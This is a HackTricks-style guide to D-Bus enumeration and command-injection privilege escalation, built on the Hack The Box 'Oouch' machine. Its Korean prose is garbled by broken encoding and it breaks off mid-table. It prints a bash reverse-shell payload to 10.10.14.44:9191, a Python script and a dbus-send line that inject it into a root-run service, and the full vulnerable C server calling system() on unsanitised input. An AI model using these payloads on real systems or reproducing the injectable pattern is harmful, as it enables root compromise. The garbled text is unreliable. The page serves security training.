D-Bus Enumeration & Command Injection Privilege Escalation
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
GUI enumeration
D-Busλ Ubuntu λ°μ€ν¬ν νκ²½μμ νλ‘μΈμ€ κ° ν΅μ (IPC) μ€μ¬μλ‘ μ¬μ©λ©λλ€. Ubuntuμμλ μ¬λ¬ λ©μμ§ λ²μ€κ° λμμ μ΄μλλ κ²μ κ΄μ°°ν μ μμ΅λλ€: μμ€ν λ²μ€λ μ£Όλ‘ μμ€ν μ λ°μ κ±Έμ³ κ΄λ ¨λ μλΉμ€λ₯Ό λ ΈμΆνκΈ° μν΄ νΉκΆ μλΉμ€μ μν΄ μ¬μ©λλ©°, κ° λ‘κ·ΈμΈν μ¬μ©μμ λν μΈμ λ²μ€λ ν΄λΉ νΉμ μ¬μ©μμκ²λ§ κ΄λ ¨λ μλΉμ€λ₯Ό λ ΈμΆν©λλ€. μ¬κΈ°μλ κΆν μμΉμ λͺ©νλ‘ νκΈ° λλ¬Έμ λ λμ κΆν(μ: root)μΌλ‘ μ€νλλ μλΉμ€μμ μ°κ΄μ± λλ¬Έμ μμ€ν λ²μ€μ μ£Όλ‘ μ΄μ μ λ§μΆ₯λλ€. D-Busμ μν€ν μ²λ κ° μΈμ λ²μ€μ λν΄ βλΌμ°ν°βλ₯Ό μ¬μ©νμ¬ ν΄λΌμ΄μΈνΈκ° ν΅μ νκ³ μ νλ μλΉμ€μ λν΄ μ§μ ν μ£Όμμ λ°λΌ ν΄λΌμ΄μΈνΈ λ©μμ§λ₯Ό μ μ ν μλΉμ€λ‘ 리λλ μ νλ μν μ ν©λλ€.
D-Busμ μλΉμ€λ κ·Έλ€μ΄ λ ΈμΆνλ κ°μ²΄μ μΈν°νμ΄μ€μ μν΄ μ μλ©λλ€. κ°μ²΄λ νμ€ OOP μΈμ΄μ ν΄λμ€ μΈμ€ν΄μ€μ λΉμ λ μ μμΌλ©°, κ° μΈμ€ν΄μ€λ κ°μ²΄ κ²½λ‘μ μν΄ κ³ μ νκ² μλ³λ©λλ€. μ΄ κ²½λ‘λ νμΌ μμ€ν κ²½λ‘μ μ μ¬νκ² μλΉμ€μ μν΄ λ ΈμΆλ κ° κ°μ²΄λ₯Ό κ³ μ νκ² μλ³ν©λλ€. μ°κ΅¬ λͺ©μ μ μν μ£Όμ μΈν°νμ΄μ€λ org.freedesktop.DBus.Introspectable μΈν°νμ΄μ€λ‘, λ¨μΌ λ©μλμΈ Introspectλ₯Ό νΉμ§μΌλ‘ ν©λλ€. μ΄ λ©μλλ κ°μ²΄κ° μ§μνλ λ©μλ, μ νΈ λ° μμ±μ XML ννμ λ°ννλ©°, μ¬κΈ°μλ μμ±κ³Ό μ νΈλ₯Ό μλ΅νκ³ λ©μλμ μ΄μ μ λ§μΆ₯λλ€.
D-Bus μΈν°νμ΄μ€μμ ν΅μ μ μν΄ λ κ°μ§ λκ΅¬κ° μ¬μ©λμμ΅λλ€: D-Busμμ λ ΈμΆλ λ©μλλ₯Ό μ€ν¬λ¦½νΈμμ μ½κ² νΈμΆν μ μλλ‘ νλ CLI λκ΅¬μΈ gdbusμ κ° λ²μ€μμ μ¬μ© κ°λ₯ν μλΉμ€λ₯Ό μ΄κ±°νκ³ κ° μλΉμ€μ ν¬ν¨λ κ°μ²΄λ₯Ό νμνλλ‘ μ€κ³λ Python κΈ°λ° GUI λκ΅¬μΈ D-Feetμ λλ€.
sudo apt-get install d-feet


첫 λ²μ§Έ μ΄λ―Έμ§μμλ D-Bus μμ€ν λ²μ€μ λ±λ‘λ μλΉμ€κ° νμλλ©°, org.debin.aptκ° μμ€ν λ²μ€ λ²νΌμ μ νν ν νΉλ³ν κ°μ‘°λ©λλ€. D-Feetλ μ΄ μλΉμ€μ λν΄ κ°μ²΄λ₯Ό 쿼리νμ¬ μ νλ κ°μ²΄μ μΈν°νμ΄μ€, λ©μλ, μμ± λ° μ νΈλ₯Ό νμνλ©°, μ΄λ λ λ²μ§Έ μ΄λ―Έμ§μμ λ³Ό μ μμ΅λλ€. κ° λ©μλμ μκ·Έλμ²λ μμΈν μ€λͺ λμ΄ μμ΅λλ€.
μ£Όλͺ©ν λ§ν κΈ°λ₯μ μλΉμ€μ **νλ‘μΈμ€ ID (pid)**μ λͺ λ Ήμ€μ νμνλ κ²μΌλ‘, μ΄λ μλΉμ€κ° μμΉλ κΆνμΌλ‘ μ€νλλμ§ νμΈνλ λ° μ μ©νλ©°, μ°κ΅¬μ κ΄λ ¨μ±μ μ€μν©λλ€.
D-Feetλ λ©μλ νΈμΆλ νμ©ν©λλ€: μ¬μ©μλ λ§€κ°λ³μλ‘ Python ννμμ μ λ ₯ν μ μμΌλ©°, D-Feetλ μ΄λ₯Ό D-Bus μ νμΌλ‘ λ³νν ν μλΉμ€λ₯Ό νΈμΆν©λλ€.
κ·Έλ¬λ μΌλΆ λ©μλλ μΈμ¦μ΄ νμνλ€λ μ μ μ μν΄μΌ ν©λλ€. μ°λ¦¬λ μ격 μ¦λͺ μμ΄ κΆνμ μμΉμν€λ κ²μ΄ λͺ©νμ΄λ―λ‘ μ΄λ¬ν λ©μλλ 무μν κ²μ λλ€.
λν μΌλΆ μλΉμ€λ μ¬μ©μκ° νΉμ μμ μ μνν μ μλμ§ μ¬λΆλ₯Ό νμΈνκΈ° μν΄ org.freedeskto.PolicyKit1μ΄λΌλ λ€λ₯Έ D-Bus μλΉμ€μ 쿼리ν©λλ€.
Cmd line Enumeration
μλΉμ€ κ°μ²΄ λμ΄
μ΄λ¦° D-Bus μΈν°νμ΄μ€λ₯Ό λμ΄νλ κ²μ κ°λ₯ν©λλ€:
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv⦠-
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
Connections
From wikipedia: νλ‘μΈμ€κ° λ²μ€μ λν μ°κ²°μ μ€μ νλ©΄, λ²μ€λ ν΄λΉ μ°κ²°μ _κ³ μ μ°κ²° μ΄λ¦_μ΄λΌλ νΉλ³ν λ²μ€ μ΄λ¦μ ν λΉν©λλ€. μ΄λ¬ν μ νμ λ²μ€ μ΄λ¦μ λΆλ³μ΄λ©°, μ°κ²°μ΄ μ‘΄μ¬νλ ν λ³κ²½λμ§ μμ κ²μ΄ 보μ₯λ©λλ€. λ μ€μν κ²μ, λ²μ€μ μλͺ λμ μ¬μ¬μ©λ μ μλ€λ κ²μ λλ€. μ΄λ ν΄λΉ λ²μ€μ λν λ€λ₯Έ μ°κ²°μ΄ κ·Έλ¬ν κ³ μ μ°κ²° μ΄λ¦μ ν λΉλ°μ§ μμμ μλ―Ένλ©°, λμΌν νλ‘μΈμ€κ° λ²μ€μ λν μ°κ²°μ μ’ λ£νκ³ μ μ°κ²°μ μμ±νλλΌλ λ§μ°¬κ°μ§μ λλ€. κ³ μ μ°κ²° μ΄λ¦μ κΈμ§λ μ½λ‘ λ¬Έμλ‘ μμνκΈ° λλ¬Έμ μ½κ² μΈμν μ μμ΅λλ€.
Service Object Info
κ·Έλ° λ€μ, λ€μμ μ¬μ©νμ¬ μΈν°νμ΄μ€μ λν μ 보λ₯Ό μ»μ μ μμ΅λλ€:
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
List Interfaces of a Service Object
κΆνμ΄ μΆ©λΆν΄μΌ ν©λλ€.
busctl tree htb.oouch.Block #Get Interfaces of the service object
ββ/htb
ββ/htb/oouch
ββ/htb/oouch/Block
μλΉμ€ κ°μ²΄μ μΈν°νμ΄μ€ μ‘°μ¬
μ΄ μμ μμλ tree λ§€κ°λ³μλ₯Ό μ¬μ©νμ¬ λ°κ²¬λ μ΅μ μΈν°νμ΄μ€κ° μ νλ κ²μ μ£Όλͺ©νμΈμ (μ΄μ μΉμ
μ°Έμ‘°):
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
λ
ΈνΈ μΈν°νμ΄μ€ htb.oouch.Blockμ λ©μλ .Block (μ°λ¦¬κ° κ΄μ¬ μλ κ²). λ€λ₯Έ μ΄μ βsβλ λ¬Έμμ΄μ κΈ°λνκ³ μλ€λ μλ―ΈμΌ μ μμ΅λλ€.
λͺ¨λν°/μΊ‘μ² μΈν°νμ΄μ€
μΆ©λΆν κΆνμ΄ μμΌλ©΄ (λ¨μ§ send_destination λ° receive_sender κΆνλ§μΌλ‘λ λΆμ‘±ν¨) D-Bus ν΅μ μ λͺ¨λν°λ§ν μ μμ΅λλ€.
ν΅μ μ λͺ¨λν°λ§νλ €λ©΄ rootμ¬μΌ ν©λλ€. μ¬μ ν rootλ‘ λ¬Έμ λ₯Ό κ²ͺκ³ μλ€λ©΄ https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ λ° https://wiki.ubuntu.com/DebuggingDBusλ₯Ό νμΈνμΈμ.
Warning
D-Bus κ΅¬μ± νμΌμ μ€μ νμ¬ λΉλ£¨νΈ μ¬μ©μκ° ν΅μ μ μ€λνν μ μλλ‘ νμ©νλ λ°©λ²μ μκ³ μλ€λ©΄ μ°λ½ν΄ μ£ΌμΈμ!
λͺ¨λν°λ§νλ λ€μν λ°©λ²:
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
λ€μ μμ μμ μΈν°νμ΄μ€ htb.oouch.Blockμ΄ λͺ¨λν°λ§λκ³ λ©μμ§ βlalalalalβκ° μλͺ»λ μμ¬μν΅μ ν΅ν΄ μ μ‘λ©λλ€:
busctl monitor htb.oouch.Block
Monitoring bus message stream.
β£ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
β£ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
capture λμ monitorλ₯Ό μ¬μ©νμ¬ κ²°κ³Όλ₯Ό pcap νμΌμ μ μ₯ν μ μμ΅λλ€.
λͺ¨λ μ‘μμ νν°λ§νκΈ°
λ²μ€μ μ λ³΄κ° λ무 λ§μΌλ©΄ λ€μκ³Ό κ°μ΄ μΌμΉ κ·μΉμ μ λ¬νμΈμ:
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
μ¬λ¬ κ·μΉμ μ§μ ν μ μμ΅λλ€. λ©μμ§κ° μ΄λ€ κ·μΉκ³Ό μΌμΉνλ©΄ λ©μμ§κ° μΆλ ₯λ©λλ€. λ€μκ³Ό κ°μ΄:
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"
D-Bus λ¬Έμλ₯Ό μ°Έμ‘°νμ¬ λ§€μΉ κ·μΉ ꡬ문μ λν μμΈν μ 보λ₯Ό νμΈνμΈμ.
λ λ§μ μ 보
busctlμλ λ λ§μ μ΅μ
μ΄ μμΌλ©°, μ¬κΈ°μμ λͺ¨λ νμΈνμΈμ.
μ·¨μ½ν μλ리μ€
μ¬μ©μ HTBμ βoouchβ νΈμ€νΈ λ΄μ qtcλ‘μ, _/etc/dbus-1/system.d/htb.oouch.Block.conf_μ μμΉν μμμΉ λͺ»ν D-Bus κ΅¬μ± νμΌμ μ°Ύμ μ μμ΅λλ€.
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
μ΄μ ꡬμ±μμ μ 보λ₯Ό μ μ‘νκ³ μμ νλ €λ©΄ root λλ www-data μ¬μ©μμ¬μΌ ν©λλ€ D-BUS ν΅μ μ ν΅ν΄.
λ컀 컨ν μ΄λ aeb4525789d8 λ΄μ μ¬μ©μ qtcλ‘μ /code/oouch/routes.py νμΌμμ dbus κ΄λ ¨ μ½λλ₯Ό μ°Ύμ μ μμ΅λλ€. μ΄κ²μ΄ ν₯λ―Έλ‘μ΄ μ½λμ λλ€:
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
보μλ€μνΌ, D-Bus μΈν°νμ΄μ€μ μ°κ²°νκ³ βBlockβ ν¨μμ βclient_ipβλ₯Ό μ μ‘νκ³ μμ΅λλ€.
D-Bus μ°κ²°μ λ°λνΈμλ Cλ‘ μ»΄νμΌλ λ°μ΄λλ¦¬κ° μ€νλκ³ μμ΅λλ€. μ΄ μ½λλ D-Bus μ°κ²°μμ IP μ£Όμλ₯Ό μμ λκΈ°νκ³ μ£Όμ΄μ§ IP μ£Όμλ₯Ό μ°¨λ¨νκΈ° μν΄ system ν¨μλ₯Ό ν΅ν΄ iptablesλ₯Ό νΈμΆνκ³ μμ΅λλ€.system νΈμΆμ μλμ μΌλ‘ λͺ
λ Ή μ£Όμ
μ μ·¨μ½νλ―λ‘, λ€μκ³Ό κ°μ νμ΄λ‘λλ 리λ²μ€ μ
Έμ μμ±ν©λλ€: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploit it
μ΄ νμ΄μ§μ λμμ D-Bus μ ν리μΌμ΄μ
μ μ 체 C μ½λλ₯Ό μ°Ύμ μ μμ΅λλ€. κ·Έ μμλ 91-97ν μ¬μ΄μ D-Bus κ°μ²΄ κ²½λ‘ **λ° μΈν°νμ΄μ€ μ΄λ¦**μ΄ λ±λ‘λλ λ°©λ²μ΄ μμ΅λλ€. μ΄ μ 보λ D-Bus μ°κ²°μ μ 보λ₯Ό μ μ‘νλ λ° νμν©λλ€:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
λν, 57λ²μ§Έ μ€μμ μ΄ D-Bus ν΅μ μ λ±λ‘λ μ μΌν λ©μλκ° Blockμ΄λΌκ³ λͺ
μλμ΄ μμ΅λλ€(κ·Έλμ λ€μ μΉμ
μμλ νμ΄λ‘λκ° μλΉμ€ κ°μ²΄ htb.oouch.Block, μΈν°νμ΄μ€ /htb/oouch/Block λ° λ©μλ μ΄λ¦ BlockμΌλ‘ μ μ‘λ κ²μ
λλ€):
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Python
λ€μ νμ΄μ¬ μ½λλ block_iface.Block(runme)λ₯Ό ν΅ν΄ Block λ©μλμ νμ΄λ‘λλ₯Ό D-Bus μ°κ²°λ‘ μ μ‘ν©λλ€ (μ΄ μ½λλ μ΄μ μ½λ μ‘°κ°μμ μΆμΆλμμ΅λλ€):
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
busctl λ° dbus-send
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
dbus-sendλ βMessage Busβμ λ©μμ§λ₯Ό 보λ΄λ λ° μ¬μ©λλ λꡬμ λλ€.- Message Bus β μμ€ν μ΄ μ ν리μΌμ΄μ κ°μ ν΅μ μ μ½κ² νκΈ° μν΄ μ¬μ©νλ μννΈμ¨μ΄μ λλ€. μ΄λ Message Queueμ κ΄λ ¨μ΄ μμ§λ§ (λ©μμ§κ° μμλλ‘ μ λ ¬λ¨) Message Busμμλ λ©μμ§κ° ꡬλ λͺ¨λΈλ‘ μ μ‘λλ©° λ§€μ° λΉ λ¦ λλ€.
- β-systemβ νκ·Έλ μΈμ λ©μμ§κ° μλ μμ€ν λ©μμ§λ₯Ό μΈκΈνλ λ° μ¬μ©λ©λλ€ (κΈ°λ³Έκ°).
- ββprint-replyβ νκ·Έλ μ°λ¦¬μ λ©μμ§λ₯Ό μ μ νκ² μΆλ ₯νκ³ μΈκ°μ΄ μ½μ μ μλ νμμΌλ‘ μλ΅μ λ°λ λ° μ¬μ©λ©λλ€.
- ββdest=Dbus-Interface-Blockβ Dbus μΈν°νμ΄μ€μ μ£Όμμ λλ€.
- ββstring:β β μ°λ¦¬κ° μΈν°νμ΄μ€μ 보λ΄κ³ μ νλ λ©μμ§μ μ νμ λλ€. λ©μμ§λ₯Ό 보λ΄λ μ¬λ¬ νμμ΄ μμΌλ©°, μ΄μλ double, bytes, booleans, int, objpathκ° ν¬ν¨λ©λλ€. μ΄ μ€ βobject pathβλ νμΌμ κ²½λ‘λ₯Ό Dbus μΈν°νμ΄μ€μ 보λ΄κ³ μ ν λ μ μ©ν©λλ€. μ΄ κ²½μ° νΉλ³ν νμΌ(FIFO)μ μ¬μ©νμ¬ νμΌ μ΄λ¦μΌλ‘ μΈν°νμ΄μ€μ λͺ λ Ήμ μ λ¬ν μ μμ΅λλ€. βstring:;β β μ΄λ FIFO 리λ²μ€ μ νμΌ/λͺ λ Ήμ μμΉλ₯Ό λ€μ νΈμΆνκΈ° μν κ²μ λλ€.
htb.oouch.Block.Blockμμ 첫 λ²μ§Έ λΆλΆ(htb.oouch.Block)μ μλΉμ€ κ°μ²΄λ₯Ό μ°Έμ‘°νκ³ λ§μ§λ§ λΆλΆ(.Block)μ λ©μλ μ΄λ¦μ μ°Έμ‘°ν©λλ€.
C code
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
μλνλ μ΄κ±° λꡬ (2023-2025)
busctl/gdbusλ₯Ό μ¬μ©νμ¬ λκ·λͺ¨ D-Bus 곡격 νλ©΄μ μλμΌλ‘ μ΄κ±°νλ κ²μ λΉ λ₯΄κ² κ³ ν΅μ€λ¬μμ§λλ€. μ΅κ·Ό λͺ λ
λμ μΆμλ λ κ°μ μμ FOSS μ νΈλ¦¬ν°λ λ λν λλ CTF μ°Έμ¬ μ€μ μμ
μ λΉ λ₯΄κ² ν μ μμ΅λλ€:
dbusmap (βD-Busμ© Nmapβ)
- μ μ: @taviso β https://github.com/taviso/dbusmap
- Cλ‘ μμ±λ¨; λͺ¨λ κ°μ²΄ κ²½λ‘λ₯Ό νμνκ³
IntrospectXMLμ κ°μ Έμ μμ PID/UIDμ λ§€ννλ λ¨μΌ μ μ λ°μ΄λ리 (<50 kB). - μ μ©ν νλκ·Έ:
# *system* λ²μ€μ λͺ¨λ μλΉμ€λ₯Ό λμ΄νκ³ νΈμΆ κ°λ₯ν λͺ¨λ λ©μλλ₯Ό λ€νν©λλ€
sudo dbus-map --dump-methods
# Polkit ν둬ννΈ μμ΄ μ κ·Όν μ μλ λ©μλ/μμ±μ μ κ·Ήμ μΌλ‘ νμν©λλ€
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
- μ΄ λꡬλ 보νΈλμ§ μμ μ μλ €μ§ μ΄λ¦μ
!λ‘ νμνμ¬, μ¬μ©μκ° μμ ν μ μλ μλΉμ€(μΈμ) λλ λΉνΉκΆ μ Έμμ μ κ·Όν μ μλ λ©μλ νΈμΆμ μ¦μ λλ¬λ λλ€.
uptux.py
- μ μ: @initstring β https://github.com/initstring/uptux
- μμ€ν
d μ λ λ° μ§λμΉκ² κ΄λν D-Bus μ μ±
νμΌ(μ:
send_destination="*"μμ μ°κΈ° κ°λ₯ν κ²½λ‘λ₯Ό μ°Ύλ νμ΄μ¬ μ μ© μ€ν¬λ¦½νΈ. - λΉ λ₯Έ μ¬μ©λ²:
python3 uptux.py -n # λͺ¨λ κ²μ¬λ₯Ό μ€ννμ§λ§ λ‘κ·Έ νμΌμ μμ±νμ§ μμ
python3 uptux.py -d # μμΈν λλ²κ·Έ μΆλ ₯μ νμ±ν
- D-Bus λͺ¨λμ μλ λλ ν 리λ₯Ό κ²μνκ³ μΌλ° μ¬μ©μκ° μ€νΈννκ±°λ νμ·¨ν μ μλ μλΉμ€λ₯Ό κ°μ‘° νμν©λλ€:
/etc/dbus-1/system.d/λ°/usr/share/dbus-1/system.d//etc/dbus-1/system-local.d/(λ²€λ μ€λ²λΌμ΄λ)
μ£Όλͺ©ν λ§ν D-Bus κΆν μμΉ λ²κ·Έ (2024-2025)
μ΅κ·Όμ λ°νλ CVEλ₯Ό μ£Όμ κΉκ² μ΄ν΄λ³΄λ©΄ μ¬μ©μ μ μ μ½λμμ μ μ¬ν λΆμμ ν ν¨ν΄μ λ°κ²¬νλ λ° λμμ΄ λ©λλ€. λ€μμ λμ μν₯λ ₯μ κ°μ§ λ‘컬 EoP λ¬Έμ λ λͺ¨λ μμ€ν λ²μ€μμ μΈμ¦/κΆν λΆμ¬κ° λλ½λ λ°μ λ°μν©λλ€:
| μ°λ | CVE | κ΅¬μ± μμ | κ·Όλ³Έ μμΈ | μλΌμ΄λ PoC |
|---|---|---|---|---|
| 2024 | CVE-2024-45752 | logiops β€ 0.3.4 (Logitech HID λ°λͺ¬) | logid μμ€ν
μλΉμ€κ° λͺ¨λ μ¬μ©μκ° μ₯μΉ νλ‘νμ λ³κ²½νκ³ λ§€ν¬λ‘ λ¬Έμμ΄μ ν΅ν΄ μμμ μ
Έ λͺ
λ Ήμ μ£Όμ
ν μ μλ μ ν μλ org.freedesktop.Logiopsd μΈν°νμ΄μ€λ₯Ό λ
